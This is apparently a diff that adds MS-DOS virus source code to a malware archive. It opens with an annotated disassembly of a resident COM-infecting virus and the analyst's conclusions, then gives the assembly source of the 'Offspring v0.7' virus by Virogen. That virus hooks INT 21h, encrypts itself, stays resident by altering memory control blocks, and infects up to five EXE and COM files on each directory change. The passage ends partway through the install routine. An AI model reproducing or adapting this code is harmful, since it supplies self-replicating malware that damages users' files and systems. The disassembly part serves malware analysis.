JNB 297F +1E72:297C EB63 JMP 29E1 ; oops, close it +1E72:297E 90 NOP +1E72:297F B80242 MOV AX,4202 +1E72:2982 B90000 MOV CX,0000 +1E72:2985 BA0000 MOV DX,0000 +1E72:2988 E87501 CALL int21 ; move to end of file +1E72:298B 7303 JNB 2990 +1E72:298D EB52 JMP 29E1 ; oops, close file and + ; and return +1E72:298F 90 NOP + + ; + ; now we are ready to append the virus code to the + ; file. + ; +1E72:2990 53 PUSH BX ; save handle +1E72:2991 BA0000 MOV DX,0000 +1E72:2994 A13E01 MOV AX,[013E] ; get low size of file +1E72:2997 B9C40A MOV CX,0AC4 +1E72:299A 03C1 ADD AX,CX ; add size of virus +1E72:299C BB3300 MOV BX,0033 +1E72:299F F7F3 DIV BX +1E72:29A1 83C133 ADD CX,+33 ; add modulo bytes +1E72:29A4 2BCA SUB CX,DX ; subtract reminder. now + ; cx is the size of the + ; virus plus the number + ; of junk bytes, needed + ; to make the final size + ; of the file divideable + ; by 33. + +1E72:29A6 5B POP BX ; restore handle +1E72:29A7 B440 MOV AH,40 ; write to file/device +1E72:29A9 BA0001 MOV DX,0100 ; source is ds:dx +1E72:29AC E85101 CALL int21 ; call dos +1E72:29AF 7204 JB 29B5 ; test error +1E72:29B1 3BC1 CMP AX,CX ; all written ? +1E72:29B3 742C JZ 29E1 ; yes, close file and + ; retain its attributes + ; + ; a write error occured + ; +1E72:29B5 B80042 MOV AX,4200 +1E72:29B8 B90000 MOV CX,0000 +1E72:29BB BA0000 MOV DX,0000 +1E72:29BE E83F01 CALL int21 ; seek to beginning + +1E72:29C1 B440 MOV AH,40 +1E72:29C3 BA0301 MOV DX,0103 +1E72:29C6 B90400 MOV CX,0004 +1E72:29C9 E83401 CALL int21 ; write original header + +1E72:29CC B80042 MOV AX,4200 +1E72:29CF 8B0E4001 MOV CX,[0140] +1E72:29D3 8B163E01 MOV DX,[013E] +1E72:29D7 E82601 CALL int21 ; seek to the original + ; end of the file + +1E72:29DA E81000 CALL 29ED ; close file & set its + ; attributes +1E72:29DD A2F401 MOV [01F4],AL +1E72:29E0 C3 RET + ; + ; subroutine to reset a files attributes after + ; seeking to its end and closing it. this routine + ; returns the drive letter in al where ths file under + ; investigation was found. + ; +1E72:29E1 B80242 MOV AX,4202 +1E72:29E4 B90000 MOV CX,0000 +1E72:29E7 BA0000 MOV DX,0000 +1E72:29EA E81301 CALL int21 ; seek to eof + + ; + ; soubroutine to reset a files attributes to values + ; stored in the dta. they were filled up by the + ; search first/search next operations + ; + +1E72:29ED 8B0E3A01 MOV CX,[013A] +1E72:29F1 8B163C01 MOV DX,[013C] +1E72:29F5 B80157 MOV AX,5701 +1E72:29F8 E80501 CALL int21 ; set date and time +1E72:29FB B43E MOV AH,3E +1E72:29FD E80001 CALL int21 ; close file +1E72:2A00 B80143 MOV AX,4301 +1E72:2A03 BAF401 MOV DX,01F4 +1E72:2A06 8A0E3901 MOV CL,[0139] +1E72:2A0A B500 MOV CH,00 +1E72:2A0C E8F100 CALL int21 ; set attributes +1E72:2A0F B020 MOV AL,20 +1E72:2A11 8606A801 XCHG AL,[01A8] +1E72:2A15 C3 RET + + ; + ; this is the dos int 21 interposer. + ; + +1E72:2A16 9C PUSHF +1E72:2A17 3DE033 CMP AX,33E0 ; special installation + ; test. +1E72:2A1A 7504 JNZ 2A20 +1E72:2A1C B0E0 MOV AL,E0 ; return e0 instead of + ; the dos value ff for + ; this invalid call +1E72:2A1E 9D POPF +1E72:2A1F CF IRET + +1E72:2A20 9D POPF +1E72:2A21 9C PUSHF +1E72:2A22 50 PUSH AX +1E72:2A23 53 PUSH BX +1E72:2A24 51 PUSH CX +1E72:2A25 52 PUSH DX +1E72:2A26 56 PUSH SI +1E72:2A27 57 PUSH DI +1E72:2A28 55 PUSH BP +1E72:2A29 1E PUSH DS +1E72:2A2A 06 PUSH ES +1E72:2A2B 80FC31 CMP AH,31 ; keep process +1E72:2A2E 743F JZ 2A6F +1E72:2A30 80FC00 CMP AH,00 ; terminate +1E72:2A33 7447 JZ 2A7C +1E72:2A35 80FC4C CMP AH,4C ; terminate +1E72:2A38 7442 JZ 2A7C +1E72:2A3A 80FC39 CMP AH,39 ; create dir +1E72:2A3D 744D JZ 2A8C +1E72:2A3F 80FC3A CMP AH,3A ; remove dir +1E72:2A42 7448 JZ 2A8C +1E72:2A44 80FC3C CMP AH,3C ; create file +1E72:2A47 7443 JZ 2A8C +1E72:2A49 3D013D CMP AX,3D01 ; open for writing +1E72:2A4C 743E JZ 2A8C +1E72:2A4E 80FC41 CMP AH,41 ; delete file +1E72:2A51 7439 JZ 2A8C +1E72:2A53 80FC43 CMP AH,43 ; change attributes +1E72:2A56 7434 JZ 2A8C +1E72:2A58 80FC56 CMP AH,56 ; move directory entry +1E72:2A5B 742F JZ 2A8C +1E72:2A5D 80FC13 CMP AH,13 ; delete file (FCB) +1E72:2A60 743D JZ 2A9F +1E72:2A62 80FC16 CMP AH,16 ; create file (FCB) +1E72:2A65 7438 JZ 2A9F +1E72:2A67 80FC17 CMP AH,17 ; rename file (FCB) +1E72:2A6A 7433 JZ 2A9F +1E72:2A6C EB22 JMP 2A90 +1E72:2A6E 90 NOP + +1E72:2A6F 2E CS: +1E72:2A70 803E500200 CMP BYTE PTR [0250],00 +1E72:2A75 7519 JNZ 2A90 +1E72:2A77 8AD8 MOV BL,AL +1E72:2A79 EB43 JMP 2ABE +1E72:2A7B 90 NOP + + ; + ; this routine is interposed on terminate calls + ; + +1E72:2A7C 2E CS: +1E72:2A7D 803E500200 CMP BYTE PTR [0250],00 +1E72:2A82 750C JNZ 2A90 +1E72:2A84 BA0000 MOV DX,0000 +1E72:2A87 8AD8 MOV BL,AL +1E72:2A89 EB33 JMP 2ABE +1E72:2A8B 90 NOP + + ; + ; this function is interposed on handle oriented + ; file io calls + ; + +1E72:2A8C FB STI +1E72:2A8D E8A4FD CALL 2834 + + ; + ; here we come to resume the old dos entry point + ; + +1E72:2A90 07 POP ES +1E72:2A91 1F POP DS +1E72:2A92 5D POP BP +1E72:2A93 5F POP DI +1E72:2A94 5E POP SI +1E72:2A95 5A POP DX +1E72:2A96 59 POP CX +1E72:2A97 5B POP BX +1E72:2A98 58 POP AX +1E72:2A99 9D POPF +1E72:2A9A 2E CS: +1E72:2A9B FF2E0C01 JMP FAR [010C] + + ; + ; this routine is interposed on delete, create and + ; rename functions related to FCB's + ; + +1E72:2A9F FB STI +1E72:2AA0 E869FD CALL 280C +1E72:2AA3 EBEB JMP 2A90 + ; + ; the next function is the dos terminate and stay + ; resident interrupt (int 27) interposer. + ; + ; become resident with given number of bytes in + ; dx. this size is rounded to paragraphs. retain + ; exit code given on entry in al. + ; + +1E72:2AA5 83C406 ADD SP,+06 +1E72:2AA8 D1EA SHR DX,1 +1E72:2AAA D1EA SHR DX,1 +1E72:2AAC D1EA SHR DX,1 +1E72:2AAE D1EA SHR DX,1 +1E72:2AB0 42 INC DX +1E72:2AB1 8AD8 MOV BL,AL +1E72:2AB3 EB09 JMP 2ABE ; goto common code +1E72:2AB5 90 NOP + + ; + ; the next function is the interposer for the + ; interrupt 20, terminate program + ; + ; terminate with exit code 0 and no paragraphs to + ; be retained + ; + +1E72:2AB6 83C406 ADD SP,+06 +1E72:2AB9 BA0000 MOV DX,0000 +1E72:2ABC B300 MOV BL,00 + + ; + ; common code follows + ; + +1E72:2ABE B80000 MOV AX,0000 ; make interrupt vector + ; table addressable +1E72:2AC1 8ED8 MOV DS,AX + +1E72:2AC3 2E CS: ; set vector 20 +1E72:2AC4 A11401 MOV AX,[0114] +1E72:2AC7 A38000 MOV [0080],AX +1E72:2ACA 2E CS: +1E72:2ACB A11601 MOV AX,[0116] +1E72:2ACE A38200 MOV [0082],AX + +1E72:2AD1 2E CS: ; set vector 27 +1E72:2AD2 A11001 MOV AX,[0110] +1E72:2AD5 A39C00 MOV [009C],AX +1E72:2AD8 2E CS: +1E72:2AD9 A11201 MOV AX,[0112] +1E72:2ADC A39E00 MOV [009E],AX + +1E72:2ADF 2E CS: +1E72:2AE0 C606500201 MOV BYTE PTR [0250],01 +1E72:2AE5 FB STI + +1E72:2AE6 B8C40B MOV AX,0BC4 ; get a fixed area +1E72:2AE9 D1E8 SHR AX,1 +1E72:2AEB D1E8 SHR AX,1 +1E72:2AED D1E8 SHR AX,1 +1E72:2AEF D1E8 SHR AX,1 +1E72:2AF1 40 INC AX +1E72:2AF2 03D0 ADD DX,AX +1E72:2AF4 B80031 MOV AX,3100 +1E72:2AF7 8AC3 MOV AL,BL ; restore exit code +1E72:2AF9 9C PUSHF +1E72:2AFA FA CLI +1E72:2AFB 2E CS: +1E72:2AFC FF1E0C01 CALL FAR [010C] ; terminate and stay + ; resident. this call + ; does not return + ; + ; the next routine is used to call dos for internal + ; operations + ; + + int21: +1E72:2B00 9C PUSHF +1E72:2B01 FA CLI +1E72:2B02 2E CS: +1E72:2B03 FF1E0C01 CALL FAR [010C] +1E72:2B07 C3 RET + + ; + ; here we enter during the start of a infected + ; program. the way to this location passes two + ; unconditional jmp instructions + ; +-u 2b08,2cf6 + +1CF5:2B08 9C PUSHF ; save registers +1CF5:2B09 50 PUSH AX +1CF5:2B0A 53 PUSH BX +1CF5:2B0B 51 PUSH CX +1CF5:2B0C 52 PUSH DX +1CF5:2B0D 56 PUSH SI +1CF5:2B0E 57 PUSH DI +1CF5:2B0F 55 PUSH BP +1CF5:2B10 1E PUSH DS +1CF5:2B11 06 PUSH ES + + ; + ; the call to the following dos function is always + ; invalid. if the virus is resident, the dos + ; interrupt becomes interposed. this interposer + ; returns e0 in al for the following function. + ; the interposer can be found at location 2A16. + ; + +1CF5:2B12 B8E033 MOV AX,33E0 ; ctrl-c check (?) +1CF5:2B15 CD21 INT 21 + +1CF5:2B17 3CFF CMP AL,FF +1CF5:2B19 7423 JZ 2B3E ; if error -> 2b3e. this + ; means the virus is not + ; jet installed. + +1CF5:2B1B 8CCE MOV SI,CS ; move in code segment +1CF5:2B1D 8EC6 MOV ES,SI +1CF5:2B1F 8B360101 MOV SI,[0101] ; get offset for jmp. +1CF5:2B23 81C60601 ADD SI,0106 ; find saved code +1CF5:2B27 B90400 MOV CX,0004 ; restore first 4 bytes +1CF5:2B2A BF0001 MOV DI,0100 ; move to 100 +1CF5:2B2D F3 REPZ +1CF5:2B2E A4 MOVSB ; move it + +1CF5:2B2F 07 POP ES ; restore registers +1CF5:2B30 1F POP DS +1CF5:2B31 5D POP BP +1CF5:2B32 5F POP DI +1CF5:2B33 5E POP SI +1CF5:2B34 5A POP DX +1CF5:2B35 59 POP CX +1CF5:2B36 5B POP BX +1CF5:2B37 58 POP AX +1CF5:2B38 9D POPF + +1CF5:2B39 BD0001 MOV BP,0100 +1CF5:2B3C FFE5 JMP BP ; jump to old entry + + ; + ; if we come here, we may assume the virus is not jet + ; installed + ; + +1CF5:2B3E B104 MOV CL,04 +1CF5:2B40 8CC8 MOV AX,CS + +1CF5:2B42 BEE30A MOV SI,0AE3 ; get size of the + ; resident part of the + ; virus +1CF5:2B45 D3EE SHR SI,CL +1CF5:2B47 46 INC SI ; si seems to be a the + ; paragraph count +1CF5:2B48 BFFFFF MOV DI,FFFF +1CF5:2B4B D3EF SHR DI,CL +1CF5:2B4D 47 INC DI ; di is always (?) 1000 + +1CF5:2B4E 03C6 ADD AX,SI +1CF5:2B50 03C7 ADD AX,DI +1CF5:2B52 03C7 ADD AX,DI +1CF5:2B54 40 INC AX ; sum up, but what ? i + ; assume the virus lets + ; installs only if there + ; are (2000+X+a few) + ; paragraphs left. X is + ; the amount of + ; paragraphs needed by + ; the virus +1CF5:2B55 2E CS: +1CF5:2B56 3B060200 CMP AX,[0002] ; in cs:[0002] we find + ; the segment adrs of + ; the top of the memory + +1CF5:2B5A 73BF JNB 2B1B ; enter original program + +1CF5:2B5C 07 POP ES ; restore registers +1CF5:2B5D 1F POP DS +1CF5:2B5E 5D POP BP +1CF5:2B5F 5F POP DI +1CF5:2B60 5E POP SI +1CF5:2B61 5A POP DX +1CF5:2B62 59 POP CX +1CF5:2B63 5B POP BX +1CF5:2B64 58 POP AX +1CF5:2B65 9D POPF + +1CF5:2B66 8BE8 MOV BP,AX ; ax contains the info + ; whether the drives + ; given on the + ; commandline are valid + +1CF5:2B68 E9E600 JMP 2C51 ; jump to install + ; routine + +1CF5:2B6B 8BC5 MOV AX,BP +1CF5:2B6D 2E CS: +1CF5:2B6E 8E160A01 MOV SS,[010A] +1CF5:2B72 BC0000 MOV SP,0000 +1CF5:2B75 2E CS: +1CF5:2B76 8E1E0A01 MOV DS,[010A] +1CF5:2B7A 2E CS: +1CF5:2B7B 8E060A01 MOV ES,[010A] +1CF5:2B7F BD0000 MOV BP,0000 +1CF5:2B82 55 PUSH BP + +1CF5:2B83 9C PUSHF +1CF5:2B84 50 PUSH AX +1CF5:2B85 53 PUSH BX +1CF5:2B86 51 PUSH CX +1CF5:2B87 52 PUSH DX +1CF5:2B88 56 PUSH SI +1CF5:2B89 57 PUSH DI +1CF5:2B8A 55 PUSH BP +1CF5:2B8B 1E PUSH DS +1CF5:2B8C 06 PUSH ES +1CF5:2B8D FB STI + + ; + ; the nex section of code saves the contents of some + ; interrupt vectors + ; + +1CF5:2B8E B80000 MOV AX,0000 ; use data segment 0 +1CF5:2B91 8ED8 MOV DS,AX + +1CF5:2B93 C43E8000 LES DI,[0080] ; get int 20 (terminate) +1CF5:2B97 2E CS: +1CF5:2B98 893E1401 MOV [0114],DI ; store it to [114-117] +1CF5:2B9C 2E CS: +1CF5:2B9D 8C061601 MOV [0116],ES + +1CF5:2BA1 C43E2000 LES DI,[0020] ; get int 8 (timer) +1CF5:2BA5 2E CS: +1CF5:2BA6 893E1C01 MOV [011C],DI ; store it to [11c-11f] +1CF5:2BAA 2E CS: +1CF5:2BAB 8C061E01 MOV [011E],ES + +1CF5:2BAF C43E8400 LES DI,[0084] ; get int 21 (dos) +1CF5:2BB3 2E CS: +1CF5:2BB4 893E0C01 MOV [010C],DI ; store it to [10c-10f] +1CF5:2BB8 2E CS: +1CF5:2BB9 8C060E01 MOV [010E],ES + +1CF5:2BBD C43E9C00 LES DI,[009C] ; get int 27 (tbsr) +1CF5:2BC1 2E CS: +1CF5:2BC2 893E1001 MOV [0110],DI ; store it to [110-113] +1CF5:2BC6 2E CS: +1CF5:2BC7 8C061201 MOV [0112],ES + + ; + ; the next section sets up some interrupt vectors + ; + +1CF5:2BCB FA CLI +1CF5:2BCC C70680008E09 MOV WORD PTR [0080],098E ; set int 20 (terminate) +1CF5:2BD2 8C0E8200 MOV [0082],CS +1CF5:92BD6 C7069C007D09 MOV WORD PTR [009C],097D ; set int 27 (tbsr) +1CF5:2BDC 8C0E9E00 MOV [009E],CS +1CF5:2BE0 C7068400EE08 MOV WORD PTR [0084],08EE ; set int 21 (dos) +1CF5:2BE6 8C0E8600 MOV [0086],CS +1CF5:2BEA FB STI + +1CF5:2BEB 2E CS: +1CF5:2BEC 803E070100 CMP BYTE PTR [0107],00 +1CF5:2BF1 744C JZ 2C3F + +1CF5:2BF3 B42A MOV AH,2A +1CF5:2BF5 CD21 INT 21 ; get date + ; cx = year + ; dh = month + ; dl = day + +1CF5:2BF7 81F9C307 CMP CX,07C3 ; 7c3 == 1987 (dec) +1CF5:2BFB 720A JB 2C07 ; up to and including + ; 1986 jump to 2c07 + +1CF5:2BFD 7710 JA 2C0F ; after 1896 jump to + ; 2c0f + +1CF5:2BFF 81FA0105 CMP DX,0501 +1CF5:2C03 730A JNB 2C0F ; after 1.may jump to + ; 2c0f + +1CF5:2C05 EB38 JMP 2C3F + +1CF5:2C07 2E CS: +1CF5:2C08 803E070102 CMP BYTE PTR [0107],02 +1CF5:2C0D 7230 JB 2C3F + + ; + ; we jump to this label always after 1986. also we + ; come here any jear before 1986 after the 1. of may, + ; which is a public holiday in germany + ; + ; the cx register still contains the year. this info + ; is used later to generate a pseudo random number + ; + +1CF5:2C0F 1E PUSH DS +1CF5:2C10 B8FFFF MOV AX,FFFF +1CF5:2C13 8ED8 MOV DS,AX +1CF5:2C15 A00E00 MOV AL,[000E] ; ffff:000e contains the + ; machine type. this is + ; fc for an ibm pc/at + ; fd for an ibm pc/jr + ; fe for an ibm pc/xt + ; ff for an ibm pc + + ; by masking out, the + ; virus detects if its + ; running on an ibm + ; machine. +1CF5:2C18 24FC AND AL,FC +1CF5:2C1A 3CFC CMP AL,FC +1CF5:2C1C 1F POP DS + +1CF5:2C1D 7520 JNZ 2C3F ; jump if this is not + ; an ibm machine + ; + ; in the next section a (pseudo-) random number is + ; generated in al. besides some memory locations + ; the current year is used for computations. + + ; in 1 of 4 cases (ax bits 0 and 1 + ; are zero) a new int 8 handler becomes established + ; + +1CF5:2C1F A16C04 MOV AX,[046C] +1CF5:2C22 03066E04 ADD AX,[046E] +1CF5:2C26 35AA55 XOR AX,55AA +1CF5:2C29 D3C9 ROR CX,CL +1CF5:2C2B 03C1 ADD AX,CX +1CF5:2C2D 2403 AND AL,03 +1CF5:2C2F 3C00 CMP AL,00 +1CF5:2C31 750C JNZ 2C3F + + ; + ; the following is done only in 1/4 of all possible + ; cases + ; + +1CF5:2C33 FA CLI ; replace int 8 (timer) +1CF5:2C34 C70620007A06 MOV WORD PTR [0020],067A +1CF5:2C3A 8C0E2200 MOV [0022],CS +1CF5:2C3E FB STI + +1CF5:2C3F E896FB CALL 27D8 ; enable all data thats + ; necessary to play a + ; tune + + ; + ; the next section looks like it is returning to the + ; old main program ? + ; + +1CF5:2C42 07 POP ES +1CF5:2C43 1F POP DS +1CF5:2C44 5D POP BP +1CF5:2C45 5F POP DI +1CF5:2C46 5E POP SI +1CF5:2C47 5A POP DX +1CF5:2C48 59 POP CX +1CF5:2C49 5B POP BX +1CF5:2C4A 58 POP AX +1CF5:2C4B 9D POPF +1CF5:2C4C 2E CS: +1CF5:2C4D FF2E0801 JMP FAR [0108] + + ; + ; here we come when we are going to make the + ; virus resident in main memory. bp contains the + ; value of the ax register it contained on program + ; start. + ; + +1CF5:2C51 8CC8 MOV AX,CS ; addressability +1CF5:2C53 8ED8 MOV DS,AX +1CF5:2C55 8EC0 MOV ES,AX + +1CF5:2C57 8B1E0101 MOV BX,[0101] +1CF5:2C5B 81C30301 ADD BX,0103 ; bx is offset to saved + ; code from original + ; file +1CF5:2C5F 8CC8 MOV AX,CS +1CF5:2C61 BEE30A MOV SI,0AE3 +1CF5:2C64 03F3 ADD SI,BX +1CF5:2C66 D1EE SHR SI,1 +1CF5:2C68 D1EE SHR SI,1 +1CF5:2C6A D1EE SHR SI,1 +1CF5:2C6C D1EE SHR SI,1 +1CF5:2C6E 46 INC SI +1CF5:2C6F 03C6 ADD AX,SI +1CF5:2C71 8BD0 MOV DX,AX +1CF5:2C73 8ED2 MOV SS,DX +1CF5:2C75 BCFEFF MOV SP,FFFE +1CF5:2C78 B91F00 MOV CX,001F +1CF5:2C7B 8BF3 MOV SI,BX +1CF5:2C7D 8BFB MOV DI,BX +1CF5:2C7F 81C7C40A ADD DI,0AC4 +1CF5:2C83 81C6A50A ADD SI,0AA5 +1CF5:2C87 FC CLD +1CF5:2C88 F3 REPZ +1CF5:2C89 A4 MOVSB +1CF5:2C8A 8BC3 MOV AX,BX +1CF5:2C8C 05C40A ADD AX,0AC4 +1CF5:2C8F FFE0 JMP AX + +1CF5:2C91 8CC8 MOV AX,CS +1CF5:2C93 BEC40B MOV SI,0BC4 +1CF5:2C96 D1EE SHR SI,1 +1CF5:2C98 D1EE SHR SI,1 +1CF5:2C9A D1EE SHR SI,1 +1CF5:2C9C D1EE SHR SI,1 +1CF5:2C9E 46 INC SI +1CF5:2C9F 03C6 ADD AX,SI +1CF5:2CA1 8EC0 MOV ES,AX +1CF5:2CA3 8EDA MOV DS,DX +1CF5:2CA5 BE0000 MOV SI,0000 +1CF5:2CA8 BF0000 MOV DI,0000 +1CF5:2CAB 8BCB MOV CX,BX +1CF5:2CAD F3 REPZ +1CF5:2CAE A4 MOVSB +1CF5:2CAF 8CC8 MOV AX,CS +1CF5:2CB1 8ED8 MOV DS,AX +1CF5:2CB3 BE0301 MOV SI,0103 +1CF5:2CB6 BF0001 MOV DI,0100 +1CF5:2CB9 B90400 MOV CX,0004 +1CF5:2CBC F3 REPZ +1CF5:2CBD A4 MOVSB +1CF5:2CBE 2E CS: +1CF5:2CBF C70608010001 MOV WORD PTR [0108],0100 +1CF5:2CC5 2E CS: +1CF5:2CC6 8C060A01 MOV [010A],ES +1CF5:2CCA E99EFE JMP 2B6B +1CF5:2CCD 8EC2 MOV ES,DX +1CF5:2CCF BE0000 MOV SI,0000 +1CF5:2CD2 BF0000 MOV DI,0000 +1CF5:2CD5 8BCB MOV CX,BX +1CF5:2CD7 F3 REPZ +1CF5:2CD8 A4 MOVSB +1CF5:2CD9 8CCF MOV DI,CS +1CF5:2CDB 8EC7 MOV ES,DI +1CF5:2CDD BF0001 MOV DI,0100 +1CF5:2CE0 8BF3 MOV SI,BX +1CF5:2CE2 B9C40A MOV CX,0AC4 +1CF5:2CE5 F3 REPZ +1CF5:2CE6 A4 MOVSB +1CF5:2CE7 B8690B MOV AX,0B69 +1CF5:2CEA FFE0 JMP AX +1CF5:2CEC B80D00 MOV AX,000D +1CF5:2CEF 50 PUSH AX +1CF5:2CF0 B80500 MOV AX,0005 +1CF5:2CF3 50 PUSH AX +1CF5:2CF4 E83409 CALL 362B + +-i would like to give final conclusions about the virus, which are my private +intentionally feeling: + +the author of the virus seems to be one, who knows a lot about the 8088 +processor. he (or she, who knows ?) seems to be someone familiar with the +concepts of the c programming language. by looking through the code, i +believe that he is not very familiar with the assembler itself. lots of +instructions could be more elegant. the computation of some constant values +could be left to the assembler, if he wold know the more advanced operators. + + diff --git a/MSDOS/Virus.MSDOS.Unknown.osp-07s.a86 b/MSDOS/Virus.MSDOS.Unknown.osp-07s.a86 new file mode 100644 index 00000000..f9fcd0ae --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.osp-07s.a86 @@ -0,0 +1,714 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.7 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with A86 v3.22 +; +; +; DISCLAIMER : Don't hold me responsible for any damages, or the release +; of this virus. Use at your own risk. +; +; TYPE : Parastic Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.7 +; +; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function +; 0Eh (change drive) is called the virus will infect +; up to 5 files in the current directory (the one +; you're coming out of). It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; bytes between them are constantly changed. The +; call to the encryption routine changes, so the +; address can be anywhere in a field of NOPs. +; Not anything overly amazing, but it works. +; +; + TITLE OFFSPRING_1 + .286 +CSEG SEGMENT + ASSUME CS: CSEG, SS: CSEG, ES: CSEG + +SIGNAL EQU 7DH ; Installation check +REPLY EQU 0FCH ; reply to check +CR EQU 0DH ; carraige return +LF EQU 0AH ; line feed +F_NAME EQU 1EH ; Offset of file name in FF/FN buffer +F_SIZEL EQU 1CH ; File size - low +F_SIZEH EQU 1AH ; File size - high +F_DATE EQU 18H ; File date +F_TIME EQU 16H ; File time +MAX_INF EQU 05 ; Maximum files to infect per run +MAX_ROTATION EQU 9 ; number of bytes in switch byte table +PARASTIC EQU 01 ; Parastic infection +SPAWN EQU 00 ; Spawning infection + + ORG 100H ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +START: + + DB 0BEH ; MOV SI,xxxx - Load delta offset +SET_SI: DW 0000H + +SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on + ; replicated copies. +M_SW1: NOP ; changs into a byte in op_set +XCHG_1 DB 0BFH + DW OFFSET ENC_DATA+2 ; Point to byte after encryption num + ; Switches positions with XCHG_2 +M_SW2: NOP ; changes into a byte in op_set +XCHG_2 DB 090H +ENC_NUM DW 9090H +M_SW3: NOP + +DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx +ADD_DI: DW 9000H ; 00-NOP + +CALL_ENC DB 0E8 ; Call encryption routine - address changes +E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2) + NO_DEC: + JMP MAIN ; Jump to virus code + +;----------------------------------------------- +; Data area +;----------------------------------------------- + +ENC_DATA DW 0000 ; Start of encrypted data +ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET +VTYPE DB 00 ; Spawning or Parastic Infection? +INF_COUNT DB 0 ; How many files we have infected this run +COM_NAME DB 'COMMAND.COM' ; obvious +NEW_CODE DW 9090H ; ID bytes +NEW_JMP DB 0E9H,00,00 ; New Jump +FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf. +ADD_MEM DB 0 ; restore mem size? Yes,No + +ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright +VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *' + DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$' + +FNAME1 DB '*.EXE',0 ; Filespec +FNAME2 DB '*.COM',0 ; Filespec +FNAME_OFF DW FNAME1 ; Offset of Filespec to use +TIMES_INC DB 0 ; # of times encryption call incremented +SL DB '\' ; Backslash for directory name +FILE_DIR DB 64 DUP(0) ; directory of file we infected +FILE_NAME DB 13 DUP(0) ; filename of file we infected +OLD_DTA DD 0 ; old seg:off of DTA +OLD21_OFS DW 0 ; Offset of old INT 21H +OLD21_SEG DW 0 ; Seg of old INT 21h +NEW_SEG DW 0 ; New segment in high mem + +PAR_BLK DW 0 ; command line count byte -psp +PAR_CMD DW 0080H ; Point to the command line -psp +PAR_SEG DW 0 ; seg + DW 05CH ; Use default FCB's in psp to save space +PAR1 DW 0 ; + DW 06CH ; FCB #2 +PAR2 DW 0 ; + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +NEW21 PROC ; New INT 21H handler + + CMP AH, SIGNAL ; signaling us? + JNE NO + MOV AH,REPLY ; yep, give our offspring what he wants + JMP END_21 + NO: + CMP AH, 3BH ; set dir func? + JE RUN_RES + CMP AH,0EH ; set disk func? + JE RUN_RES + + JMP END_21 + + RUN_RES: + PUSHF + PUSH AX ; Push regs + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + PUSH SP + PUSH SS + + PUSH CS + POP DS + + XOR AX,AX ; nullify ES + MOV ES,AX + + CMP ADD_MEM,1 ; Restore system conventional mem size? + JE REL_MEM ; + CMP AH,48H ; alloc. mem block? If so we subtract 3k from + JE SET_MEM ; total system memory. + + JMP NO_MEM_FUNC + + SET_MEM: + SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem + INC ADD_MEM ; make sure we know to add this back + JMP NO_MEM_FUNC + REL_MEM: + ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem + DEC ADD_MEM + + + NO_MEM_FUNC: + MOV AH,2FH + INT 21H ; Get the DTA + + MOV AX,ES + MOV WORD PTR OLD_DTA,BX + MOV WORD PTR OLD_DTA+2,AX + PUSH CS + POP ES + + CALL RESIDENT ; Call infection kernal + + MOV DX,WORD PTR OLD_DTA + MOV AX,WORD PTR OLD_DTA+2 + MOV DS,AX + MOV AH,1AH + INT 21H ; Restore the DTA + + POP SS ; Pop regs + POP SP + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + POPF + END_21 : + JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h + IRET + NEW21 ENDP ; End of handler + + +;------------------------------------------------------------ +; Main +;----------------------------------------------------------- +MAIN PROC + + MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption + MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H + + MOV AX,DS: 002CH ; Get environment address + MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec + + MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC + MOV [SI+OFFSET PAR2],CS + MOV [SI+OFFSET PAR_SEG],CS + + MOV AH,2AH ; Get date + INT 21H + + CMP DL,14 ; 14th? + JNE NO_DISPLAY + + MOV AH,09 ; Display message + LEA DX,[SI+OFFSET ID] + INT 21H + + NO_DISPLAY: + CALL INSTALL ; check if installed, if not install + + CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC + JE SKIP_THIS + MOV BX,(OFFSET VEND+50) ; Calculate memory needed + MOV CL,4 ; divide by 16 + SHR BX,CL + INC BX + MOV AH,4AH + INT 21H ; Release un-needed memory + + LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE + LEA BX,[SI+OFFSET PAR_BLK] + MOV AX,4B00H + INT 21H + + MOV AH,4CH ; Exit + INT 21H + + SKIP_THIS: + + MOV CX,5 ; Restore original first + ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file + MOV DI,0100H + CLD + REP MOVSB + + MOV AX,0100H ; Simulate CALL return to 0100h + PUSH AX + RET + +MAIN ENDP + +;--------------- +; INSTALL - Install the virus +;-------------- + +INSTALL PROC + + MOV AH,SIGNAL + INT 21H + CMP AH,REPLY + JE NO_INSTALL + + MOV AX,CS + DEC AX + MOV DS,AX + CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in + ;the chain? + JNE NO_INSTALL + + + MOV AX,DS: [3] ;Block size in MCB + SUB AX,190 ;Shrink Block Size-quick estimate + MOV DS: [3],AX + + MOV BX,AX + MOV AX,ES + ADD AX,BX + 